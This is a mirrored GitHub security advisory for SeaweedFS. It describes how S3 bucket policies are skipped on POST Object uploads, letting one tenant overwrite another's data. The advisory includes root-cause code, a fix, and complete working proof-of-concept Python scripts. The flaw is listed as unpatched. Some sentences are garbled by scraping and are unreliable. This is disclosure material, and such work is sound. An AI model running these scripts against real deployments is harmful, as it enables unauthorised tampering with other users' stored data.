GHSA-QMX6-FPCW-Q3XG
S3 API: bucket policy not enforced on POST Object uploads — an S3 identity can overwrite another identity's data
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-QMX6-FPCW-Q3XG divulgada · CVSS 6.5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
<html><body>
<!--StartFragment--><html><head></head><body><h3>Summary</h3>
<p>The SeaweedFS S3 gateway does <strong>not evaluate bucket policies</strong> on the POST Object upload path (<code>PostPolicyBucketHandler</code> — <code>POST /{bucket}</code> with <code>Content-Type: multipart/form-data</code>; the HTML-form / presigned-POST upload).</p>
<p>Authorization for POST Object is performed <strong>only</strong> with the coarse per-identity action check (<code>identity.CanDo(ACTION_WRITE, bucket, "")</code>) plus verification of the caller's POST-policy signature. The bucket-policy engine that runs for every other S3 request (<code>authRequestWithAuthType</code> → <code>EvaluatePolicy</code> / <code>VerifyActionPermission</code>) is never invoked.</p>
<p>Consequently, when a bucket policy is used to restrict an authenticated S3 identity — the standard S3 mechanism for isolating multiple tenants that share a bucket, confining an identity to a key prefix, requiring encryption, or restricting by source IP — that restriction is silently ineffective for POST Object uploads. An identity that is denied <code>s3:PutObject</code> on a key can still create or <strong>overwrite</strong> that key by sending the upload as a POST instead of a PUT.</p>
<h3>Trust boundary crossed</h3>
<p><strong>One S3 identity writes and overwrites another S3 identity's data</strong> — the second in-scope example in SECURITY.md ("One S3 identity reading, writing, or deleting another identity's data").</p>
<p>Two S3 identities (<code>tenant-a</code>, <code>tenant-b</code>) share the bucket <code>shared</code>. A bucket policy confines each to its own prefix (<code>shared/a/*</code>, <code>shared/b/*</code>). <code>tenant-a</code> uses POST Object to overwrite <code>shared/b/report.txt</code>, an object owned by <code>tenant-b</code>, which <code>tenant-a</code> is explicitly denied from writing.</p>
<h3>Affected version</h3>
<p><code>master</code>, version string <code>4.45</code> (<code>weed/util/version/constants.go</code>: <code>MAJOR_VERSION=4</code>, <code>MINOR_VERSION=45</code>); source archive of <code>master</code> retrieved 2026-09-01. The code path is long-standing; reproduce on current <code>master</code>.</p>
<h3>Deployment and configuration</h3>
<ul>
<li>A single <code>weed server -s3 -filer</code> process (master + volume + filer + S3 in one; the same result holds for split deployments).</li>
<li>S3 authentication <strong>enabled</strong> via <code>-s3.config</code> (identities file).</li>
<li>Only the S3 API port (default <code>8333</code>) is reachable by the attacker. No access to master/volume/filer ports is needed.</li>
<li>The bucket owner has attached a bucket policy (via `PUT /{bucket}?police identities.</li>
</ul>
<h3>Attacker starting position</h3>
<p>A <strong>valid S3 user</strong> holding ordinary credentials and the coarse <code>Write</code> action for the shared bucket in the identities file (<code>"Write:shared"</code>) — the grant every identity thatares the bucket must have for its S3 operations to route. The bucket poeep that identity inside its own prefix.</p>
<h3>Expected vs. actual</h3>
<ul>
<li><strong>Expected:</strong> a POST Object upload is authorized identically to the equivalent PUT — an explicit bucket-policy <code>Deny</code> blocks it.</li>
<li><strong>Actual:</strong> the PUT is denied (<code>403 AccessDenied</code>); the POST succeeds (ten / overwritten.</li>
</ul>
<h3>Root cause</h3>
<p><strong><code>weed/s3api/auth_credentials.go</code> — <code>AuthPostPolicy()</code></strong></p>
<p>A POST Object request carries its credentials in the multipart form body, so <code>getRequestAuthType(r)</code> classifies the request as <code>authTypeAnonymous</code>. The request is treated as anonymous and denied with <code>ErrAccessDenied</code>, which triggers this branch:</p>
<pre><code class="language-go">identity, errCode, authType := iam.authRequestWithAuthType(r, action)
if errCode == s3err.ErrAccessDenied {
if authType == authTypeAnonymous &&
r.Method == http.MethodPost &&
strings.Contains(r.Header.Get("Content-Type"), "multipart/form-data") {
f(w, r) // delegate straight to the handler
return
}
}
</code></pre>
<p>The request reaches <code>PostPolicyBucketHandler</code> without the bucket policy ever having been evaluated against the real caller.</p>
<p><strong><code>weed/s3api/s3api_object_handlers_postpolicy.go</code> — <code>PostPolicyBucketHandler()</code></strong></p>
<p>The handler then authorizes solely via:</p>
<ul>
<li><code>doesPolicySignatureMatch(formValues)</code> — verifies the POST-policy signatuCTION_WRITE, bucket, "") (coarse identity actions only)</li>
<li><code>policy.CheckPostPolicy(formValues, postPolicyForm)</code> — checks the form fields against the client-supplied, client-signed POST policy document</li>
</ul>
<p>It never calls <code>authRequestWithAuthType</code>, <code>iam.policyEngine.EvaluatePolicy</code>, or <code>iam.VerifyActionPermission</code>. It then writes via <code>s3a.putToFiler</code> directly, bypassing <code>PutObjectHandler</code>.</p>
<p>This gap is isolated to POST Object. Every other write path where the target key is not named by the request URL already performs a full per-resource bucket-policy check. I verified each:</p>
Path | Per-resource authorization | Bucket policy evaluated?
-- | -- | --
PUT PutObject | iam.Auth → authRequestWithAuthType | yes
PUT CopyObject | source via iam.AuthorizeCopySource | yes
PUT ?renameObject | AuthorizeCopySource + AuthorizeObjectDelete | yes
POST ?delete (DeleteObjects) | iam.AuthorizeObjectDelete per key | yes
Multipart (?uploads / ?partNumber / ?uploadId) | iam.Auth; policy engine maps multipart actions onto s3:PutObject (policy_engine/engine.go:168) | yes — tested: Deny s3:PutObject blocks the whole flow
POST /{bucket} form upload (PostPolicy) | identity.CanDo(WRITE, bucket) + POST-policy signature only | no
<h3>PoC</h3>
<p>Built from <code>master</code>, S3 auth enabled. <code>s3.json</code> identities: <code>owner</code> (Admin), <code>tenant-a</code> / <code>tenant-b</code> (Read/Write/List:shared), <code>writer</code> (Read/Write/List:testbucket).</p>
<pre><code class="language-bash">weed server -dir=./data -s3 -s3.config=./s3.json -filer -ip=127.0.0.1 -volume.max=100
python3 -m venv venv && ./venv/bin/pip install boto3 requests
./venv/bin/python poc_cross_tenant_overwrite.py # cross-tenant overwrite
./venv/bin/python poc_postpolicy_bucketpolicy_bypass.py # explicit Deny bypass
./venv/bin/python poc_conditional_deny_bypass.py # conditional Deny bypass
./venv/bin/python verify_multipart_NOT_affected.py # control: multipart is fine
</code></pre>
<p><strong>Primary — cross-tenant overwrite.</strong> <code>owner</code> creates bucket <code>shared</code> and attaches:</p>
<pre><code class="language-json">{ "Version": "2012-10-17",
"Statement": [
{ "Sid": "ConfineA", "Effect": "Deny",
"Principal": { "AWS": "arn:aws:iam::000000000000:user/tenant-a" },
"Action": "s3:PutObject", "NotResource": "arn:aws:s3:::shared/a/*" },
{ "Sid": "ConfineB", "Effect": "Deny",
"Principal": { "AWS": "arn:aws:iam::000000000000:user/tenant-b" },
"Action": "s3:PutObject", "NotResource": "arn:aws:s3:::shared/b/*" } ] }
</code></pre>
<p>Observed:</p>
<pre><code>[*] tenant-b stored shared/b/report.txt = b'TENANT-B-CONFIDENTIAL'
[*] tenant-a PUT shared/b/report.txt -> DENIED (AccessDenied)
[*] tenant-a POST shared/b/report.txt -> HTTP 204
[*] shared/b/report.txt now = b'OVERWRITTEN-BY-TENANT-A'
[VULNERABLE] tenant-a overwrote tenant-b's object despite the bucket policy that denies it
</code></pre>
<p>Secondary variants:</p>
<ul>
<li><code>poc_postpolicy_bucketpolicy_bypass.py</code> — plain explicit Deny <code>s3:PutObject</code> on <code>bucket/denied/*</code>: PUT → 403, POST → 204.</li>
<li><code>poc_conditional_deny_bypass.py</code> — Deny <code>s3:PutObject</code> unless <code>s3:x-amz-server-side-encryption = AES256</code>: PUT without the header → 403, POST without it → 204 (object stored unencrypted).</li>
</ul>
<p>The coarse identity check is still enforced (a POST to a bucket for which the caller holds no Write action returns 403), so this is specifically a bucket-policy bypass, not a total authorization bypass.</p>
<h3>Impact</h3>
<ul>
<li>Class: incorrect authorization / access-control bypass (CWE-863) on the S3 API.</li>
<li>One authenticated S3 identity can create and overwrite objects that a bucket policy is configured to forbid it — including objects owned by another identity that shares the bucket.</li>
<li>Any bucket-policy control expressed for authenticated principals (prefix confinement, explicit per-key Deny, <code>aws:SourceIp</code> allow-list, encryption-required, ACL constraints, <code>s3:prefix</code>) does not apply to POST Object uploads.</li>
<li>Prerequisite: S3 auth enabled and bucket policies in use; attacker is an existing S3 user with the coarse Write action on the target bucket.</li>
</ul>
<h3>Suggested fix</h3>
<p>After <code>PostPolicyBucketHandler</code> authenticates the caller via the POST-policy signature, run the same authorization the PUT path uses before writing — <code>iam.VerifyActionPermission(r, identity, ACTION_WRITE, bucket, object)</code> and <code>iam.policyEngine.EvaluatePolicy(bucket, object, "s3:PutObject", principal, …)</code>, honouring an explicit Deny. Equivalently, have <code>AuthPostPolicy</code> re-run the authorization stage against the identity resolved from the form signature instead of delegating unconditionally.</p></body></html><!--EndFragment-->
</body>
</html>
PoC — full scripts
`s3.json` (identities file):
{
"identities": [
{
"name": "owner",
"credentials": [{ "accessKey": "ownerkey", "secretKey": "ownersecret" }],
"actions": ["Admin", "Read", "Write", "List", "Tagging"]
},
{
"name": "writer",
"credentials": [{ "accessKey": "writerkey", "secretKey": "writersecret" }],
"actions": ["Read:testbucket", "Write:testbucket", "List:testbucket"]
},
{
"name": "tenant-a",
"credentials": [{ "accessKey": "akeya", "secretKey": "skeya" }],
"actions": ["Read:shared", "Write:shared", "List:shared"]
},
{
"name": "tenant-b",
"credentials": [{ "accessKey": "akeyb", "secretKey": "skeyb" }],
"actions": ["Read:shared", "Write:shared", "List:shared"]
}
]
}Run: `weed server -dir=./data -s3 -s3.config=./s3.json -filer -ip=127.0.0.1 -volume.max=100`
`poc_cross_tenant_overwrite.py` (primary — cross-tenant overwrite):
"""
Multi-tenant PoC: two S3 identities share one bucket; a bucket policy confines
each to its own prefix. tenant-a bypasses the policy via POST Object and
overwrites tenant-b's object -> one S3 identity writing another identity's data.
"""
import boto3, requests, json, sys
from botocore.config import Config
EP="http://127.0.0.1:8333"
def c(a,s): return boto3.client("s3",endpoint_url=EP,aws_access_key_id=a,aws_secret_access_key=s,region_name="us-east-1",config=Config(signature_version="s3v4",s3={"addressing_style":"path"}))
owner=c("ownerkey","ownersecret"); ta=c("akeya","skeya"); tb=c("akeyb","skeyb")
B="shared"
owner.create_bucket(Bucket=B)
# Bucket policy: tenant-a may only write under a/ ; tenant-b only under b/
policy={"Version":"2012-10-17","Statement":[
{"Sid":"ConfineA","Effect":"Deny","Principal":{"AWS":"arn:aws:iam::000000000000:user/tenant-a"},
"Action":"s3:PutObject","NotResource":"arn:aws:s3:::shared/a/*"},
{"Sid":"ConfineB","Effect":"Deny","Principal":{"AWS":"arn:aws:iam::000000000000:user/tenant-b"},
"Action":"s3:PutObject","NotResource":"arn:aws:s3:::shared/b/*"},
]}
owner.put_bucket_policy(Bucket=B,Policy=json.dumps(policy))
print("[*] policy: tenant-a confined to shared/a/*, tenant-b confined to shared/b/*")
# tenant-b writes its own private object
tb.put_object(Bucket=B,Key="b/report.txt",Body=b"TENANT-B-CONFIDENTIAL")
print("[*] tenant-b stored shared/b/report.txt =",
owner.get_object(Bucket=B,Key="b/report.txt")["Body"].read())
# tenant-a: PUT into tenant-b's prefix -> must be denied
try:
ta.put_object(Bucket=B,Key="b/report.txt",Body=b"OWNED-BY-A")
put_res="ALLOWED"
except Exception as e:
put_res="DENIED ("+e.response["Error"]["Code"]+")"
print(f"[*] tenant-a PUT shared/b/report.txt -> {put_res}")
# tenant-a: POST Object into tenant-b's prefix, same key
p=ta.generate_presigned_post(Bucket=B,Key="b/report.txt",ExpiresIn=3600)
r=requests.post(p["url"],data=p["fields"],files={"file":("x",b"OVERWRITTEN-BY-TENANT-A")})
print(f"[*] tenant-a POST shared/b/report.txt -> HTTP {r.status_code}")
after=owner.get_object(Bucket=B,Key="b/report.txt")["Body"].read()
print("[*] shared/b/report.txt now =", after)
if put_res.startswith("DENIED") and after==b"OVERWRITTEN-BY-TENANT-A":
print("\n[VULNERABLE] tenant-a overwrote tenant-b's object despite the bucket "
"policy that denies it — cross-tenant write via POST Object.")
sys.exit(0)
print("\n[not reproduced]"); sys.exit(1)`poc_postpolicy_bucketpolicy_bypass.py` (explicit Deny bypass):
#!/usr/bin/env python3
"""
PoC: SeaweedFS S3 API - bucket policy (explicit Deny / Deny-with-Condition) bypass
via the POST Object (browser-based / presigned-POST) upload path.
The PostPolicyBucketHandler authorizes uploads only with the legacy identity
action check (identity.CanDo(WRITE, bucket)). It never evaluates the bucket
policy, so an explicit `Deny` statement -- the strongest control in S3 -- is
silently ignored for POST uploads while being correctly enforced for PUT.
Setup expected:
weed server -s3 -s3.config=s3.json (identities: 'owner' = Admin, 'writer' = Write:testbucket)
Usage: ./venv/bin/python poc_postpolicy_bucketpolicy_bypass.py
Exit 0 => vulnerable.
"""
import json, sys, uuid
import boto3, requests
from botocore.config import Config
EP = "http://127.0.0.1:8333"
BUCKET = "testbucket" # 'writer' identity has Write/Read/List on this bucket
WRITER_ARN = "arn:aws:iam::000000000000:user/writer"
def client(ak, sk):
return boto3.client("s3", endpoint_url=EP, aws_access_key_id=ak,
aws_secret_access_key=sk, region_name="us-east-1",
config=Config(signature_version="s3v4",
s3={"addressing_style": "path"}))
owner = client("ownerkey", "ownersecret")
writer = client("writerkey", "writersecret")
try:
owner.create_bucket(Bucket=BUCKET)
except Exception:
pass
# Bucket policy: explicitly DENY 'writer' s3:PutObject under the "denied/" prefix.
policy = {
"Version": "2012-10-17",
"Statement": [{
"Sid": "DenyWriterPrefix",
"Effect": "Deny",
"Principal": {"AWS": WRITER_ARN},
"Action": ["s3:PutObject"],
"Resource": [f"arn:aws:s3:::{BUCKET}/denied/*"],
}],
}
owner.put_bucket_policy(Bucket=BUCKET, Policy=json.dumps(policy))
print(f"[*] Bucket policy set: explicit Deny writer -> s3:PutObject on {BUCKET}/denied/*")
# 1) Baseline: PUT into denied/ must be rejected.
put_key = "denied/" + uuid.uuid4().hex[:8]
try:
writer.put_object(Bucket=BUCKET, Key=put_key, Body=b"data")
put_result = "ALLOWED"
except Exception as e:
put_result = "DENIED (" + e.response["Error"]["Code"] + ")"
print(f"[*] writer PUT {BUCKET}/{put_key} -> {put_result}")
# 2) Attack: same principal, same denied prefix, via POST Object.
post_key = "denied/" + uuid.uuid4().hex[:8]
p = writer.generate_presigned_post(Bucket=BUCKET, Key=post_key, ExpiresIn=3600)
r = requests.post(p["url"], data=p["fields"],
files={"file": ("x", b"BYPASSED-VIA-POST")})
print(f"[*] writer POST {BUCKET}/{post_key} -> HTTP {r.status_code}")
created = False
try:
body = owner.get_object(Bucket=BUCKET, Key=post_key)["Body"].read()
created = (body == b"BYPASSED-VIA-POST")
except Exception:
pass
if put_result.startswith("DENIED") and created:
print("\n[VULNERABLE] Bucket policy explicit Deny is enforced for PUT but "
"bypassed by POST Object: writer wrote an object it is explicitly denied.")
sys.exit(0)
print("\n[not reproduced]")
sys.exit(1)`poc_conditional_deny_bypass.py` (conditional Deny bypass):
#!/usr/bin/env python3
"""
Variant PoC: a CONDITIONAL bucket-policy Deny ("deny PutObject unless
server-side encryption AES256") is enforced for PUT but bypassed by POST Object.
Same setup as poc_postpolicy_bucketpolicy_bypass.py.
Exit 0 => vulnerable.
"""
import json, sys, uuid
import boto3, requests
from botocore.config import Config
EP = "http://127.0.0.1:8333"
BUCKET = "testbucket"
WRITER_ARN = "arn:aws:iam::000000000000:user/writer"
def client(ak, sk):
return boto3.client("s3", endpoint_url=EP, aws_access_key_id=ak,
aws_secret_access_key=sk, region_name="us-east-1",
config=Config(signature_version="s3v4",
s3={"addressing_style": "path"}))
owner = client("ownerkey", "ownersecret")
writer = client("writerkey", "writersecret")
try:
owner.create_bucket(Bucket=BUCKET)
except Exception:
pass
policy = {
"Version": "2012-10-17",
"Statement": [{
"Sid": "RequireEncryption", "Effect": "Deny",
"Principal": {"AWS": WRITER_ARN},
"Action": "s3:PutObject",
"Resource": f"arn:aws:s3:::{BUCKET}/cond/*",
"Condition": {"StringNotEquals": {"s3:x-amz-server-side-encryption": "AES256"}},
}],
}
owner.put_bucket_policy(Bucket=BUCKET, Policy=json.dumps(policy))
print(f"[*] Policy: deny writer PutObject on {BUCKET}/cond/* unless SSE=AES256")
k1 = "cond/" + uuid.uuid4().hex[:8]
try:
writer.put_object(Bucket=BUCKET, Key=k1, Body=b"x") # no encryption header
put_res = "ALLOWED"
except Exception as e:
put_res = "DENIED (" + e.response["Error"]["Code"] + ")"
print(f"[*] writer PUT (no SSE) {BUCKET}/{k1} -> {put_res}")
k2 = "cond/" + uuid.uuid4().hex[:8]
p = writer.generate_presigned_post(Bucket=BUCKET, Key=k2, ExpiresIn=3600)
r = requests.post(p["url"], data=p["fields"], files={"file": ("x", b"x")}) # no SSE field
print(f"[*] writer POST (no SSE) {BUCKET}/{k2} -> HTTP {r.status_code}")
created = False
try:
owner.head_object(Bucket=BUCKET, Key=k2)
created = True
except Exception:
pass
if put_res.startswith("DENIED") and created:
print("\n[VULNERABLE] conditional Deny enforced for PUT, bypassed by POST Object")
sys.exit(0)
print("\n[not reproduced]")
sys.exit(1)`verify_multipart_NOT_affected.py` (control — shows multipart is unaffected):
import boto3, json, uuid
from botocore.config import Config
EP="http://127.0.0.1:8333"
def c(a,s): return boto3.client("s3",endpoint_url=EP,aws_access_key_id=a,aws_secret_access_key=s,region_name="us-east-1",config=Config(signature_version="s3v4",s3={"addressing_style":"path"}))
o=c("ownerkey","ownersecret"); w=c("writerkey","writersecret")
B="testbucket"
try: o.create_bucket(Bucket=B)
except Exception: pass
def set_policy(actions):
pol={"Version":"2012-10-17","Statement":[{
"Sid":"D","Effect":"Deny",
"Principal":{"AWS":"arn:aws:iam::000000000000:user/writer"},
"Action":actions,
"Resource":f"arn:aws:s3:::{B}/ro/*"}]}
o.put_bucket_policy(Bucket=B,Policy=json.dumps(pol))
def mpu(cli,key,data=b"x"*(5*1024*1024)+b"y"):
try:
u=cli.create_multipart_upload(Bucket=B,Key=key)
uid=u["UploadId"]
p=cli.upload_part(Bucket=B,Key=key,PartNumber=1,UploadId=uid,Body=data)
cli.complete_multipart_upload(Bucket=B,Key=key,UploadId=uid,
MultipartUpload={"Parts":[{"ETag":p["ETag"],"PartNumber":1}]})
return "SUCCEEDED"
except Exception as e:
return "blocked:"+e.response["Error"]["Code"]
def put(cli,key):
try: cli.put_object(Bucket=B,Key=key,Body=b"x"); return "SUCCEEDED"
except Exception as e: return "blocked:"+e.response["Error"]["Code"]
print("=== Deny s3:PutObject on testbucket/ro/* ===")
set_policy(["s3:PutObject"])
print("writer PUT ro/x :", put(w,"ro/"+uuid.uuid4().hex[:6]))
print("writer MPU ro/x :", mpu(w,"ro/"+uuid.uuid4().hex[:6]))
print("=== Deny s3:PutObject + s3:CreateMultipartUpload + s3:UploadPart ===")
set_policy(["s3:PutObject","s3:CreateMultipartUpload","s3:UploadPart"])
print("writer MPU ro/x :", mpu(w,"ro/"+uuid.uuid4().hex[:6]))
print("=== Deny s3:* ===")
set_policy(["s3:*"])
print("writer MPU ro/x :", mpu(w,"ro/"+uuid.uuid4().hex[:6]))Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/seaweedfs/seaweedfs |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-qmx6-fpcw-q3xgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
